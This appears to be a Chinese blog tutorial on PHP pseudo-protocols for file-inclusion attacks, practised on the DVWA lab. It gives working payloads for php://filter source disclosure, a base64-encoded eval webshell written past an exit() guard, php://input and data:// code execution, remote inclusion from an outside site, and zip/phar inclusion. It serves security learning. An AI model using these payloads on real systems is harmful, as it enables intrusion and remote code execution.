伪协议
php伪协议
php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
名称
描述
resource=<要过滤的数据流>
这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
php://filter/resource=xxx.php来直接运行这个php文件,不能够读取源码
这里都是以DVWA这个环境为基础
这里去简单编写一个php的输出代码

这里直接运行这个代码

这里再使用php://filter协议来运行
php://filter/resource=flag.php

这里使用这个协议来读取一下这个flag.php的源码
php://filter/read=convert.base64-encode/resource=flag.php

这里取解码看看

就是源码,这里能够使用的编码方式不止一种,有些题目会过滤很多编码,这时候就需要去进行一个爆破来得到可以使用的编码

filter协议绕过死亡exit
这个实际上就是在我们写入文件的时候,它进行了操作
file_put_contents($content, '<?php exit();' . $content);
这个就是在所添加的文件内容开头加一个
这里先来解释一下exit()函数,其实就是die就是退出脚本运行
我们写入的文件比如想写入一句话木马就无法执行
这个时候就可以使用到filter这个协议来进行操作
这里现在重新开个环境里面添加一下测试代码

file=php://filter/write=convert.base64-decode/resource=1.php&content=PD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8%2B
打开目录看看

进去看一眼

乱码,这里也不知道啥情况,问半天AI也是没搞明白,但就是这样做的
php://input
php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。
这里也是使用DVWA来看看
php://input
<?php phpinfo();?>

我们通过php://input可以运行我们通过post发送的请求
当作php代码运行
data协议
data://数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
这里仍然是使用DVWA来进行操作
data://text/palin,<?php phpinfo();?>

这里解释一下text/plain
这就是一个MIME类型,这里就是一个文本类型,但当它与包含函数比如include等结合在一起的时候它的这个文本可以当作php代码来运行
还可以进行编码
data://text/plain,base,PD9waHAgcGhwaW5mbygpOz8%2B

这里记得把+编码一下

发送一下看看

http协议
这里其实有两种http一种https一种http
就是http://&&https://
有https就一定有http
这里这两种协议其实大多就是用在RFI远程文件包含的情况下
这里就用我自己的网站的文件来包含一下看看
https://love.crook.yn.cn/1.txt

这个1.txt里面就是
<?php
phpinfo();
?>
也可以直接包含百度看一下
这里推荐是直接使用http://这个协议,因为这个比较快,而且不用担心ssl证书的问题
如果ssl证书过期了就无法通过https://来访问

zip伪协议
这个协议个人感觉局限性有点大,要结合文件上传来进行操作,这里就直接在目录里面加了
直接先上操作
编写所需代码的txt

然后把它压缩成zip
然后正常做题思路是把这个文件上传
这里就不上传了,直接拖进去

这里可以输入一个不存在的文件爆一下路劲

这里也是看见路路径了
这里直接使用zip协议
zip://D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\test.zip%23test.txt

bzip2:// & zlib://
这俩实际上就是和phar一个样子
这俩因为没有这俩对于的压缩软件
就直接丢出payload
bzip2://就是压缩成bz2
file=compress.bzip2://D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\phpinfo.bz2
zlib://就是压缩成gz
file=compress.zlib://D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\phpinfo.gz
phar协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
和zip差不多直接构造协议
phar://D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\test.zip\test.txt


浙公网安备 33010602011771号